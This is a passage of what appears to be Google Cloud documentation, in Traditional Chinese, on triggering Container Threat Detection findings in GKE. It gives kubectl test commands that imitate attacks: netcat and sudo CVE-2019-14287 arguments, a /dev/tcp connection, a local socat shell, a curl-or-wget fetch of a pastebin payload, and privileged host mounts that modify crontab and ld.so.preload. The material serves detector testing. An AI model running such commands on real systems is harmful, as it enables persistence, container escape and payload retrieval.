這項測試程序會建立「Execution: Modified Malicious Library Loaded」發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定記錄功能,也可以在 Cloud Logging 中查看。如要透過 Cloud Logging 查看發現項目,必須啟用 Security Command Center 進階或企業方案。
執行作業:容器中的 Netcat 遠端程式碼執行作業
如要觸發 Execution: Netcat Remote Code Execution In Container 事件,容器內必須存在並執行可進行網路通訊的二進位檔 (例如 netcat 本身,或是其他公用程式的重新命名副本)。本範例會以最新版 Ubuntu 24.04 映像檔為基礎進行部署。這個指令會複製 /bin/ls 二進位檔,並將副本重新命名為 nc (網路公用程式)。接著,系統會使用適合網路互動的引數執行這個重新命名的二進位檔。這項活動會標示為可疑,是因為它模擬了在容器化環境中嘗試執行遠端程式碼時,經常出現的行為。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT導入
nc等網路通訊工具二進位檔,並使用適當的引數執行:x86 節點:
tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/nc; /tmp/nc -e"ARM 節點:
tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/nc; /tmp/nc -e"
這項測試程序會建立 Execution: Netcat Remote Code Execution In
Container 發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
執行:可能透過 CUPS 執行任意指令 (CVE-2024-47076)
如要觸發 Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) 發現項目,必須由 foomatic-rip 執行殼層程序。本範例使用最新版的 Ubuntu 24.04 映像檔。這會將 /bin/bash 複製到 /tmp/foomatic-rip。這個重新命名並複製的二進位檔會以殼層指令碼的形式執行,藉此建立子殼層指令。這種行為可能會表示有人試圖在遭入侵的系統上執行任意工作負載,因此系統會標記為可疑。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用適當的引數執行指令:
x86 節點:
tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ 'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'ARM 節點:
tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ 'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'
這項測試程序會建立Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076)發現項目,您可以在 Security Command Center 和 Cloud Logging 中查看該項目 (如果您已為 Container Threat Detection 設定 Logging)。如要查看 Cloud Logging 中的發現項目,必須啟用 Security Command Center 進階或 Enterprise 方案。
執行作業:偵測到可能的遠端指令執行作業
如要觸發 Execution: Possible Remote Command Execution Detected (預覽) 發現項目,必須在容器中觀察到與遠端指令執行相關的指令或二進位檔執行作業。本範例使用最新版的 Ubuntu 24.04 映像檔。這個指令會複製 /bin/ls,並重新命名為 touch (或其他工具,例如 find)。接著,系統會執行這個重新命名的二進位檔,並使用適合遠端指令執行的引數。這類行為會標示為可疑,因為可能表示有人嘗試建立容器的未授權遠端存取權。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用適當引數執行
touch等二進位檔:x86 節點:
tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"ARM 節點:
tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
這項測試程序會建立 Execution: Possible Remote Command
Execution Detected 發現項目,您可以在 Security Command Center 和 Cloud Logging 中查看該項目 (如果您已為 Container Threat Detection 設定 Logging)。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
執行:在禁止使用 HTTP Proxy 的環境中執行程式
如要觸發 Execution: Program Run with Disallowed HTTP Proxy Env 發現項目,請在容器中執行程式,並將 HTTP Proxy 環境變數設為不允許的值。本範例使用最新版的 Ubuntu 24.04 映像檔。/bin/ls 公用程式會複製並重新命名為 /tmp/curl。接著,系統會執行這個重新命名的二進位檔,並為 HTTP Proxy 環境變數設定不允許的值 (例如 HTTP_PROXY、http_proxy)。程式執行和不允許的 HTTP Proxy 環境變數同時存在,會被標示為可疑,因為這表示有人嘗試透過未經授權的 Proxy 通訊。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT執行具備網路功能的二進位檔 (例如
curl),並使用遭禁止的 HTTP Proxy 環境變數執行該檔案:x86 節點:
tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"ARM 節點:
tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
這項測試程序會建立 Execution: Program Run with Disallowed
HTTP Proxy Env 發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定記錄功能,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
執行:偵測到 Socat 反向殼層
如要觸發 Execution: Socat Reverse Shell Detected 發現項目,必須透過 socat 公用程式建立程序反向殼層連線。本範例使用最新版的 Ubuntu 24.04 映像檔。系統會安裝 socat 公用程式,並建立本機 TCP 監聽器,然後由 socat 公用程式繫結。socat 建立的反向殼層會標示為可疑,因為攻擊者可藉此在系統上執行任意工作負載。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT建立容器並執行
socat公用程式:x86 節點:
tag="ktd-test-socat-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "apt-get update && apt-get install socat -y && (socat UNIX-LISTEN:/tmp/shell.sock STDOUT &) && sleep 2 && timeout 5s socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,sane || true"ARM 節點:
tag="ktd-test-socat-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "apt-get update && apt-get install socat -y && (socat UNIX-LISTEN:/tmp/shell.sock STDOUT &) && sleep 2 && timeout 5s socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,sane || true"
這項測試程序會建立 Execution: Socat Reverse Shell Detected 發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定記錄功能,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
執行:可疑的 Cron 修改活動 (預覽)
如要觸發可疑的 Cron 修改活動偵測,請從容器修改主機的 /etc/crontab 檔案。這個範例會部署最新的 Ubuntu 24.04 映像檔,並將主機的根檔案系統掛接至容器。然後更新 crontab 檔案。
這是檔案監控偵測工具,有特定 GKE 版本需求。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT執行指令來修改主機的
/etc/crontab檔案。x86 節點:
tag="ktd-test-cron-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'ARM 節點:
tag="ktd-test-cron-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" }] }}'這項測試程序會觸發「可疑的 Cron 修改」發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定記錄,也可以在 Cloud Logging 中查看。如要在 Cloud Logging 中查看發現項目,您必須在組織層級啟用 Security Command Center 進階或 Enterprise 方案。
執行:載入了可疑的 OpenSSL 共用物件
如要觸發 Execution: Suspicious OpenSSL Shared Object Loaded 發現項目,請執行 openssl engine 指令,並提供副檔名為 .so 的檔案做為引數。本範例使用最新版的 Ubuntu 24.04 映像檔。/bin/ls 公用程式會複製並重新命名為 /tmp/openssl。接著,系統會使用 engine 和假的 .so 檔案引數執行這個重新命名的二進位檔。系統會將使用 .so 檔案執行 openssl engine 的行為標示為可疑,因為這類行為與載入共用物件以執行惡意程式碼的行為類似。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT使用假的共用物件程式庫引數執行
openssl engine:x86 節點:
tag="ktd-test-suspicious-openssl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so"ARM 節點:
tag="ktd-test-suspicious-openssl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so"
這項測試程序會建立 Execution: Suspicious OpenSSL Shared Object Loaded 發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定記錄功能,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
資料外洩:在容器中啟動遠端檔案複製工具
如要觸發 Exfiltration: Launch Remote File Copy Tools In Container 發現項目,請在容器中執行常見的遠端檔案複製工具。本範例使用最新的 Ubuntu 24.04 映像檔。/bin/ls 公用程式會複製並重新命名為 /tmp/rsync,然後執行,從遠端 (可能含有惡意內容) 來源擷取檔案。如果這類工具在容器中執行,並使用遠端檔案擷取引數,系統就會將其標示為可疑,因為這可能表示有人試圖下載及執行惡意程式碼,或竊取資料。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT執行遠端檔案複製工具 (例如
rsync):x86 節點:
tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/rsync; /tmp/rsync"ARM 節點:
tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/rsync; /tmp/rsync"
這項測試程序會建立 Exfiltration: Launch Remote File Copy Tools
In Container 發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
影響:偵測惡意指令列
如要觸發 Impact: Detect Malicious Cmdlines (預覽) 發現項目,必須在容器中觀察到執行含有已知惡意模式或引數的指令列。本範例使用最新版的 Ubuntu 24.04 映像檔。這項作業包括複製 /bin/ls 二進位檔,並將副本重新命名為 ipfs。接著執行重新命名的二進位檔。這類行為會標記為可疑,因為可能表示有人嘗試執行惡意程式碼或規避安全控管機制。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT執行二進位檔,例如
ipfs:x86 節點:
tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/ipfs; /tmp/ipfs"ARM 節點:
tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
這項測試程序會建立Impact: Detect Malicious Cmdlines發現項目,您可以在 Security Command Center 和 Cloud Logging 中查看該項目 (如果您已為 Container Threat Detection 設定 Logging)。如要查看 Cloud Logging 中的發現項目,必須啟用 Security Command Center 進階或 Enterprise 方案。
影響:從磁碟移除大量資料
如要觸發 Impact: Remove Bulk Data From Disk 發現結果,請在容器中放置可刪除或覆寫資料的二進位檔,然後執行該檔案。本範例使用最新版 Ubuntu 24.04 映像檔。方法是複製 /bin/ls 二進位檔,並將副本重新命名為 shred (或類似的公用程式,專為安全刪除檔案而設計)。接著,系統會執行重新命名的二進位檔。這項動作會標示為可疑,因為這類行為通常發生在嘗試從容器化環境中的磁碟移除大量資料時。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT導入檔案或資料刪除二進位檔 (例如
shred) 並執行:x86 節點:
tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/shred; /tmp/shred"ARM 節點:
tag="ktd-test-remove-bulk-data-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/shred; /tmp/shred"
這項測試程序會建立Impact: Remove Bulk Data From Disk發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定記錄功能,也可以在 Cloud Logging 中查看。如要查看 Cloud Logging 中的發現項目,必須啟用 Security Command Center 進階或 Enterprise 方案。
影響:使用 Stratum 通訊協定的可疑加密貨幣挖礦活動
如要觸發 Impact: Suspicious crypto mining activity using the Stratum
Protocol 發現項目,必須在容器中執行二進位檔,並使用類似於加密貨幣挖礦軟體使用的引數,透過 Stratum 通訊協定進行通訊。本範例使用最新版 Ubuntu 24.04 映像檔。這個指令會複製 /bin/ls,並將副本重新命名為模擬二進位檔 (大概是為了模擬加密貨幣挖礦程式)。接著,系統會使用包含 stratum+tcp 或類似 Stratum 通訊協定指標的引數,執行這個重新命名的二進位檔。這項活動會模仿容器化環境中的加密貨幣挖礦軟體網路通訊模式,因此遭到標示為可疑活動。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT導入
curl等公用程式二進位檔,並使用類似於加密貨幣挖礦軟體所用的引數執行,這些軟體是透過 Stratum 通訊協定進行通訊:x86 節點:
tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"ARM 節點:
tag="ktd-test-detect-crypto-using-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp"
這項測試程序會建立 Impact: Suspicious crypto mining activity
using the Stratum Protocol 發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定記錄功能,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
您也可能會看到在此測試中執行的 bash 指令的其他發現項目。這是正常現象,您可以忽略額外的發現項目。
已執行惡意指令碼
如要觸發「執行惡意指令碼」發現項目,您可以在容器中執行下列程序中的指令碼。
這個程序會部署最新的 Ubuntu 24.04 映像檔、複製看似惡意的指令碼,然後執行該指令碼。如要觸發偵測,指令碼必須對偵測器顯示為惡意。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT在新容器中執行下列指令碼。
這個內嵌的 Bourne 殼層指令碼源自蜜罐。不過,我們已修改指令碼,使其不會執行惡意二進位檔,因此執行指令碼不會在容器中造成惡意活動。參照網址中的二進位檔可能已遭移除,嘗試追蹤該網址會導致 404 錯誤。這是預期行為。 系統偵測到使用內嵌指令碼嘗試下載、解碼及執行二進位檔時,就會觸發偵測機制。
x86 節點:
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"ARM 節點:
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
這項測試程序會建立「執行惡意指令碼」發現項目,您可以在 Security Command Center 和 Cloud Logging 中查看該項目 (如果已為 Container Threat Detection 設定記錄功能)。只有在啟用 Security Command Center 的進階或企業方案後,才能在 Cloud Logging 中查看發現項目。
偵測到惡意網址
如要觸發「偵測到惡意網址」發現項目,請執行二進位檔,並提供惡意網址做為引數。
以下範例會部署 Ubuntu 24.04 映像檔,並執行 /bin/curl,從安全瀏覽服務存取惡意軟體網址範例。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT執行
curl,並提供惡意網址做為引數:x86 節點:
tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "cp /bin/ls /tmp/curl; /tmp/curl $url 2> /dev/null || true"ARM 節點:
tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "cp /bin/ls /tmp/curl; /tmp/curl $url 2> /dev/null || true"
這項測試程序會觸發「偵測到惡意網址」發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定記錄,也可以在 Cloud Logging 中查看。如要在 Cloud Logging 中查看發現項目,您必須在組織層級啟用 Security Command Center 進階或 Enterprise 方案。
持續性:修改 ld.so.preload (預先發布版)
如要觸發 ld.so.preload 修改偵測,請修改主機的 /etc/ld.so.preload 檔案。這個範例會部署最新的 Ubuntu 24.04 映像檔,將主機的根檔案系統掛接至容器,然後更新 /etc/ld.so.preload。
這是檔案監控偵測工具,有特定 GKE 版本需求。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT執行會修改主機
/etc/ld.so.preload檔案的二進位檔。x86 節點:
tag="ktd-test-ld-preload-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'ARM 節點:
tag="ktd-test-ld-preload-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["/bin/touch", "/host/etc/ld.so.preload"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" }] }}'
這項測試程序會觸發 ld.so.preload 修改發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定記錄,也可以在 Cloud Logging 中查看。如要在 Cloud Logging 中查看發現項目,您必須在組織層級啟用 Security Command Center 進階或 Enterprise 方案。
提權:濫用 Sudo 來提權 (CVE-2019-14287)
如要觸發 Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) 發現項目,請執行 sudo 二進位檔並搭配使用 -u#-1 參數。這個範例會複製 /bin/ls 二進位檔來模仿 sudo 二進位檔,並使用指定參數執行。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT啟動二進位檔,並將
/bin/echo重新導向至 Google 公用 DNS:x86 節點:
tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"ARM 節點:
tag="ktd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10"
這項測試程序會建立Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287)發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。如要在 Cloud Logging 中查看發現項目,您必須在組織層級啟用 Security Command Center 的 Premium 或 Enterprise 方案。
權限提升:在「/dev/shm」中無檔案執行作業
如要觸發 Privilege Escalation: Fileless Execution in /dev/shm 發現項目,必須從 /dev/shm 記憶體內檔案系統執行程序。本範例使用最新版的 Ubuntu 24.04 映像檔。/bin/echo 公用程式會複製到 /dev/shm/echo。然後執行這個重新命名的二進位檔。
系統會將 /dev/shm 下的檔案執行作業標示為可疑,因為這類作業會模仿物件在記憶體中執行的行為,以規避檔案偵測。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT建立具備權限的容器,並從記憶體內檔案系統執行程式:
x86 節點:
tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"spec": {"containers": [{"name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "command": ["bash", "-c", "cp /bin/echo /dev/shm/echo; chmod +x /dev/shm/echo; mount -o remount,exec /dev/shm; /dev/shm/echo \"Hello from /dev/shm\""]}]}}' \ "$tag"ARM 節點:
